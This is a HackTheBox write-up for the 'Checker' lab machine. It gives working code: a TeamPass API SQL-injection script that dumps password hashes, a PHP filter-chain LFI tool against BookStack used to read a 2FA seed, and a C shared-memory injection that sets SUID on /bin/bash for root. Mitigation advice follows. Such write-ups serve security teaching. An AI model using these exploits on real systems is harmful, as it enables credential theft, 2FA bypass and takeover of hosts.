Post

Checker

Writeup for HackTheBox Checker machine

Checker

Executive Summary

This report details the security assessment of the HackTheBox machine “Checker” (medium-difficulty, Linux). The attack chain is as follows:

  • Reconnaissance — Identify SSH, Apache (port 80), and TeamPass (port 8080).
  • SQL Injection → TeamPass — Exploit SQLi in TeamPass API to extract bcrypt hashes; crack offline to compromise user bob.
  • BookStack LFI → 2FA Bypass — Use Bob’s credentials to access BookStack on port 80. Exploit LFI via PHP filter chains to read reader’s .google_authenticator seed. Generate TOTP codes to bypass SSH 2FA.
  • Shared Memory Command Injection → Root — Reader has NOPASSWD sudo on a script that reads from shared memory. Pre-allocate a shared memory block with a malicious payload — when the script runs under sudo, the payload executes, setting SUID on /bin/bash for root access.

Reconnaissance

ICMP Ping Verification

We verify connectivity to the target host (IP: 10.10.11.56) using ping:

1
2
3
4
5
6
7
8
9
10
11
┌──(kali㉿kali)-[~/CTF/HTB/Checker/]
└─$ ping -c 4 10.10.11.56
PING 10.10.11.56 (10.10.11.56) 56(84) bytes of data.
64 bytes from 10.10.11.56: icmp_seq=1 ttl=63 time=244 ms
64 bytes from 10.10.11.56: icmp_seq=2 ttl=63 time=263 ms
64 bytes from 10.10.11.56: icmp_seq=3 ttl=63 time=285 ms
64 bytes from 10.10.11.56: icmp_seq=4 ttl=63 time=353 ms

--- 10.10.11.56 ping statistics ---
4 packets transmitted, 4 received, 0% packet loss, time 3002ms
rtt min/avg/max/mdev = 244.473/286.443/353.344/41.229 ms

Network Port Scanning (Nmap)

We scan the host to discover open ports, identify active services, and perform OS detection:

1
2
3
4
5
6
7
8
┌──(kali㉿kali)-[~/CTF/HTB/Checker/]
└─$ sudo nmap -sV -O 10.10.11.56

PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 8.9p1 Ubuntu 3ubuntu0.10 (Ubuntu Linux; protocol 2.0)
80/tcp   open  http    Apache httpd
8080/tcp open  http    Apache httpd
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

The scan reveals three open ports:

  • Port 22: SSH
  • Port 80: HTTP web application
  • Port 8080: HTTP web application

Enumerating Port 8080 (TeamPass SQL Injection)

Accessing port 8080 redirects to a login interface for TeamPass, a collaborative password manager.

Error Image

According to public disclosures, TeamPass is vulnerable to a SQL injection flaw in its API route. Refer to:

We utilize the following bash script to automate the exploit, querying the /api/index.php/authorize endpoint to execute our SQL injection payload:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
if [ "$#" -lt 1 ]; then
  echo "Usage: $0 <base-url>"
  exit 1
fi

vulnerable_url="$1/api/index.php/authorize"

check=$(curl --silent "$vulnerable_url")
if echo "$check" | grep -q "API usage is not allowed"; then
  echo "API feature is not enabled :-("
  exit 1
fi

# htpasswd -bnBC 10 "" h4ck3d | tr -d ':\n'
arbitrary_hash='$2y$10$u5S27wYJCVbaPTRiHRsx7.iImx/WxRA8/tKvWdaWQ/iDuKlIkMbhq'

exec_sql() {
  inject="none' UNION SELECT id, '$arbitrary_hash', ($1), private_key, personal_folder, fonction_id, groupes_visibles, groupes_interdits, 'foo' FROM teampass_users WHERE login='admin"
  data="{\"login\":\""$inject\"",\"password\":\"h4ck3d\", \"apikey\": \"foo\"}"
  token=$(curl --silent --header "Content-Type: application/json" -X POST --data "$data" "$vulnerable_url" | jq -r '.token')
  echo $(echo $token| cut -d"." -f2 | base64 -d 2>/dev/null | jq -r '.public_key')
}

users=$(exec_sql "SELECT COUNT(*) FROM teampass_users WHERE pw != ''")

echo "There are $users users in the system:"

for i in `seq 0 $(($users-1))`; do
  username=$(exec_sql "SELECT login FROM teampass_users WHERE pw != '' ORDER BY login ASC LIMIT $i,1")
  password=$(exec_sql "SELECT pw FROM teampass_users WHERE pw != '' ORDER BY login ASC LIMIT $i,1")
  echo "$username: $password"
done

We execute our script against the target:

1
2
3
4
5
┌──(kali㉿kali)-[~/CTF/HTB/Checker/]
└─$ ./exploit.sh http://checker.htb:8080/
There are 2 users in the system:
admin: $2y$10$lKCae0EIUNj6f96ZnLqnC.LbWqrBQCT1LuHEFht6PmE4yH75rpWya
bob: $2y$10$yMypIj1keU.VAqBI692f..XXn0vfyBL7C1EhOs35G59NxmtpJ/tiy

We crack Bob’s hash using John the Ripper:

1
2
3
4
5
6
7
8
9
┌──(kali㉿kali)-[~/CTF/HTB/Checker/]
└─$ john --format=bcrypt --wordlist=/home/kali/opt/rockyou.txt bob.hash
Loaded 1 password hash (bcrypt [Blowfish 32/64 X3])
Will run 8 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
cheerleader      (bob)
1g 0:00:00:05 100% 0.1845g/s 159.4p/s 159.4c/s 159.4C/s caitlin..felipe
Use the "--show" option to display all of the cracked passwords reliably
Session completed

The cracked credentials for Bob are:

  • Username: bob
  • Password: cheerleader

We authenticate as Bob to the TeamPass portal:

Error Image

Inside, we locate stored credentials for SSH and BookStack. SSH is protected by two-factor authentication (2FA). We pivot to BookStack running on port 80 using the recovered credentials.

Error Image

Error Image


Web Exploitation: BookStack LFI via PHP Filter Chains

BookStack is vulnerable to an access control issue that can be exploited for Local File Inclusion (LFI). References:

We utilize the PHP filter chains exploit tool to read system files.

To trigger the exploit, we create a new book in BookStack, add a new page containing custom HTML, and capture the HTTP traffic when saving the draft using Burp Suite.

Error Image

Error Image

We update the requestor.py module inside the exploit structure to include our session details and custom headers:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
import json
import requests
import time
from filters_chain_oracle.core.verb import Verb
from filters_chain_oracle.core.utils import merge_dicts
import re

class Requestor:
    def __init__(self, file_to_leak, target, parameter, data="", headers="{}", verb=Verb.POST, in_chain="", proxy=None, time_based_attack=False, delay=0.0, json_input=False, match=False):
        self.file_to_leak = file_to_leak
        self.target = target
        self.parameter = parameter
        self.headers = json.loads(headers)
        self.verb = verb
        self.json_input = json_input
        self.match = match
        self.data = data
        self.in_chain = f"|convert.iconv.{in_chain}" if in_chain else ""
        self.delay = float(delay)
        self.proxies = {'http': proxy, 'https': proxy} if proxy else None
        self.instantiate_session()
        
        if time_based_attack:
            self.time_based_attack = self.error_handling_duration()
        else:
            self.time_based_attack = False

    def instantiate_session(self):
        self.session = requests.Session()
        self.session.headers.update(self.headers)
        self.session.proxies = self.proxies
        self.session.verify = False
        self.session.timeout = 10  # Set timeout (in seconds) for each request

    def join(self, *x):
        return '|'.join(x)

    def error_handling_duration(self):
        chain = "convert.base64-encode"
        requ = self.req_with_response(chain)
        self.normal_response_time = requ.elapsed.total_seconds()
        self.blow_up_utf32 = 'convert.iconv.L1.UCS-4'
        self.blow_up_inf = self.join(*[self.blow_up_utf32] * 15)
        chain_triggering_error = f"convert.base64-encode|{self.blow_up_inf}"
        requ = self.req_with_response(chain_triggering_error)
        return requ.elapsed.total_seconds() - self.normal_response_time

    def parse_parameter(self, filter_chain):
        return {self.parameter: filter_chain}

    def req_with_response(self, s, retries=3, base_delay=1):
        if self.delay > 0:
            time.sleep(self.delay)
        
        import base64
        php_filter = base64.b64encode(f'php://filter/{s}{self.in_chain}/resource={self.file_to_leak}'.encode()).decode()
        filter_chain = f"<img src='data:image/png;base64,{php_filter}'/>"
        merged_data = self.parse_parameter(filter_chain)
        
        for attempt in range(retries):
            try:
                if self.verb == Verb.GET:
                    return self.session.get(self.target, params=merged_data)
                elif self.verb == Verb.PUT:
                    return self.session.put(self.target, data=merged_data)
                elif self.verb == Verb.DELETE:
                    return self.session.delete(self.target, data=merged_data)
                elif self.verb == Verb.POST:
                    return self.session.post(self.target, data=merged_data)
            except requests.exceptions.RequestException as e:
                print(f"[Error] Attempt {attempt+1}/{retries} failed: {str(e)}")
                if attempt == retries - 1:
                    print("[-] Could not instantiate a connection after multiple attempts")
                    exit(1)
                time.sleep(base_delay * (2 ** attempt))  # Exponential backoff
        return None

    def error_oracle(self, s):
        requ = self.req_with_response(s)
        if self.match:
            return self.match in requ.text
        if self.time_based_attack:
            return requ.elapsed.total_seconds() > ((self.time_based_attack / 2) + 0.01)
        return requ.status_code == 500

We execute the script to read /etc/hosts:

1
2
3
4
┌──(kali㉿kali)-[~/CTF/HTB/Checker/php_filter_chains_oracle_exploit]
└─$ python3 filters_chain_oracle_exploit.py --target http://checker.htb/ajax/page/12/save-draft --file '/etc/hosts' --verb PUT --parameter html --headers '{"Content-Type":"application/x-www-form-urlencoded","X-CSRF-TOKEN":"U8HOxoz7FLPtHMIzgCF8OgSt92LLbCEYDQPyImY0","Cookie":"XSRF-TOKEN=eyJpdiI6IjFmU3I1d2xUUUlhVkVLTUozWGwveVE9PSIsInZhbHVlIjoiRHpwSjBTQXdQV3ZGSVFNWHp6QkRITkR6a1ZodmFIYnpqWFVrTG5jWHZGcHNEVmc1TGlheXpKc0pKd1pwYzRBNUtnQjVHSWdQOVhuSGVEcytOc0svbHFTQVlXU1BPdjM3bjduV1lKeVRpUWhLUVZ2bWVDd1dmTjZ4ZXJmVG1HTlIiLCJtYWMiOiIwMjA5NDA0NDgzODhjYTZjY2NiZGFlODczNmQ1MGYyNDlmMjlkM2YyNDIwMTk5ZjRhY2Q1ZDhlN2EwMDJjNWE2IiwidGFnIjoiIn0%3D; bookstack_session=eyJpdiI6InFBS0EzREVtSWxNRlUyWkxuRXVuRUE9PSIsInZhbHVlIjoiMUhBZjRva3FpaHlJai9kT0h4UlYrZ0VLcFhqTVV4UzVzWlpVR2pBRXZCM0NMWU9xOW1VT1RObGUwT1pJeWE1VlBHQmdONXQ2cmU4L09RVmM1VVk1cnNqdXFIcW5WL0xwK3NNNnE1c0FmZVozUFRxTVZZRG8xME00d3duc3E1eXUiLCJtYWMiOiIwYWMzNjMyMDRiODNiOWM1MjFlMjcwZGVkOGE5NDBkNzI5MTE1NGRlODVlN2NkYWZjY2RlYzJmN2Y2NjNkMzU1IiwidGFnIjoiIn0%3D;"}'
MTI3LjAuMC4xI
b'127.0.0.1 '

The LFI vulnerability is successfully validated.


Bypassing SSH Two-Factor Authentication (2FA)

We inspect BookStack documents and find notes regarding system backups at http://checker.htb/books/linux-security/page/basic-backup-with-cp.

Error Image

While reviewing Bob’s account settings in BookStack, we see that enabling two-factor authentication (2FA) generates a downloadable backup file named backup_codes.txt.

We deduce that other users on the system (such as reader) might have their 2FA backup codes or configuration files archived in the backup directories. To understand the 2FA mechanism, we refer to a standard Teleport SSH 2FA tutorial. The user reader’s Google Authenticator configurations are stored in the .google_authenticator file.

We target this file using our LFI chain:

1
2
3
4
5
┌──(kali㉿kali)-[~/CTF/HTB/Checker/php_filter_chains_oracle_exploit]
└─$ python3 filters_chain_oracle_exploit.py --target http://checker.htb/ajax/page/8/save-draft --file '/backup/home_backup/home/reader/.google_authenticator' --verb PUT --parameter html --headers '{"Content-Type":"application/x-www-form-urlencoded","X-CSRF-TOKEN":"fKSPiJtE6jhoMJBXY2orUrgMj9CxtVjxRHu2uYFD","Cookie":"XSRF-TOKEN=eyJpdiI6IjBxb0Y1dHAzb2VNTnNlWW9IZEJneXc9PSIsInZhbHVlIjoiUkp5YUNHQWNuZEdKUTNMZnJoVjRHQWxXUXhqeUZmaGNqUWRST2NEUXdwMHNQWDdZb0hYaW0rcTFjcGpRcG1RT1BsaUNQb1RMbFhSVlNYZE5BZWdqeXRVSWkva0ttSFdDcEtkWHdSTkZ6dkRnUWh2VmNIMGFoVnpCeVRjU2hxbVgiLCJtYWMiOiIxODczZTgyYWNmODc5ODIyY2VmZmQzM2EyNmU5ZTY5Mzc0ZjBhYWI0NTJhYmE1NDJlYzIyY2I3ODg3OTU3YmNhIiwidGFnIjoiIn0%3D; bookstack_session=eyJpdiI6IjJ5VlRRNkFHTSt4TXkvS0crS091U1E9PSIsInZhbHVlIjoiZnMwK2pFZVJtSnBjNE4rZDJKT3VvcDJZZTVySS9ZQVJLYUczdE9uVm1UQURDVGw5MXhUMTJ5T1l6QXA1Mm9DNWRja1N0d2N5Sm5qQWdOYjJMem5TM1ZjV3ZwUWFteDRtTzd1Njh5ZUR3aUlvYUllMHdkaGx6YkUwbVRSbklya0MiLCJtYWMiOiI2MzQyNGJiM2E0NDk0ZDg3ZTk4N2UzYzMzMGQ4YzZjNTdlOTYxZjM1MTczZDdlZmFmYTU5MDBhZGNkYjhhNThhIiwidGFnIjoiIn0%3D;"}'
[+] File /backup/home_backup/home/reader/.google_authenticator leak is finished!
RFZEQlJBT0RMQ1dGN0kyT05BNEs1TFFMVUUKIiBUT1RQX0FVVEgK
b'DVDBRAODLCWF7I2ONA4K5LQLUE\n" TOTP_AUTH\n'

The extracted Google Authenticator secret key seed is DVDBRAODLCWF7I2ONA4K5LQLUE. We input this key into a TOTP OTP generator to generate active 2FA codes.

Error Image

Using the generated code and Bob’s harvested credentials, we connect via SSH as reader to retrieve the user flag (user.txt):

1
2
3
4
5
6
7
8
9
10
┌──(kali㉿kali)-[~/CTF/HTB/Checker/]
└─$ ssh reader@10.10.11.56
(reader@10.10.11.56) Password: 
(reader@10.10.11.56) Verification code: 
Welcome to Ubuntu 22.04.5 LTS (GNU/Linux 5.15.0-131-generic x86_64)
...
-bash-5.1$ ls
tmp  user.txt
-bash-5.1$ cat user.txt
022f-----------------------------

Local Privilege Escalation

We run sudo -l to check the permitted sudo configurations for reader:

1
2
3
4
5
6
-bash-5.1$ sudo -l
Matching Defaults entries for reader on checker:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty

User reader may run the following commands on checker:
    (ALL) NOPASSWD: /opt/hash-checker/check-leak.sh *

We inspect the contents of the wrapper script /opt/hash-checker/check-leak.sh:

1
2
3
4
5
-bash-5.1$ cat /opt/hash-checker/check-leak.sh
#!/bin/bash
source `dirname $0`/.env
USER_NAME=$(/usr/bin/echo "$1" | /usr/bin/tr -dc '[:alnum:]')
/opt/hash-checker/check_leak "$USER_NAME"

The script executes a compiled binary /opt/hash-checker/check_leak. Decompiling or auditing this binary reveals that it utilizes a shared memory segment to parse database entries.

Shared Memory command Injection Exploitation

We compile a custom helper program to hook the shared memory block, writing a command injection payload that grants root privileges by assigning the SUID bit to /bin/bash:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
#include <stdio.h>
#include <stdlib.h>
#include <sys/ipc.h>
#include <sys/shm.h>
#include <time.h>
#include <errno.h>
#include <string.h>

#define SHM_SIZE 0x400
#define SHM_MODE 0x3B6

int main(void) {
    srand((unsigned int)time(NULL));
    key_t key = rand() % 0xfffff;

    printf("Generated key: 0x%X\n", key);

    int shmid = shmget(key, SHM_SIZE, IPC_CREAT | SHM_MODE);
    if (shmid == -1) {
        perror("shmget");
        exit(EXIT_FAILURE);
    }

    char *shmaddr = (char *)shmat(shmid, NULL, 0);
    if (shmaddr == (char *)-1) {
        perror("shmat");
        exit(EXIT_FAILURE);
    }

    snprintf(shmaddr, SHM_SIZE, "Leaked hash by furious > '; chmod +s /bin/bash;#");

    printf("Shared Memory Content:\n%s\n", shmaddr);

    if (shmdt(shmaddr) == -1) {
        perror("shmdt");
        exit(EXIT_FAILURE);
    }

    return 0;
}

We write the code to bof.c, compile it, and execute it in a loop:

1
2
3
4
5
6
-bash-5.1$ nano bof.c
-bash-5.1$ gcc -o bof bof.c
-bash-5.1$ while true; do ./bof; done
Generated key: 0x4121F
Shared Memory Content:
Leaked hash by furious > '; chmod +s /bin/bash;#

While the payload runs in the background, we execute the sudo script in a separate terminal:

1
2
3
4
5
-bash-5.1$ sudo /opt/hash-checker/check-leak.sh bob
Password is leaked!
Using the shared memory 0x48A5D as temp location
ERROR 1064 (42000) at line 1: You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '"' at line 1
Failed to read result from the db

The script execution parses our injected shared memory segment, executing our SUID payload. We launch bash with preserved privileges:

1
2
3
-bash-5.1$ bash -p
bash-5.1# whoami
root

We retrieve the root flag (root.txt):

1
2
bash-5.1# cat /root/root.txt
3438-------------------------------

Mitigations & Security Recommendations

To secure the host against these vulnerabilities, implement the following steps:

  1. Remediate API SQL Injection in TeamPass:
    • Update the TeamPass application to the latest version.
    • Ensure all inputs passed to API routing and database structures are sanitized or queried using parameterized SQL queries.
  2. Secure BookStack Access Policies & Update Software:
    • Restrict directory reading permissions and configure the application root directory properly.
    • Update BookStack to address incorrect access control flaws.
  3. Two-Factor Authentication Security:
    • Restrict access to Google Authenticator configurations (.google_authenticator) and backup files. Restrict backup directory permissions using strict NTFS/ext4 ACLs.
  4. Harden Shared Memory and Sudo Execution Wrapper:
    • Restrict wildcard arguments (*) in sudo rules. Avoid allowing non-root users to execute shell scripts with wildcard arguments.
    • Audit the /opt/hash-checker/check_leak binary. Implement input validation on data retrieved from shared memory blocks and avoid calling shell commands directly.
This post is licensed under CC BY 4.0 by the author.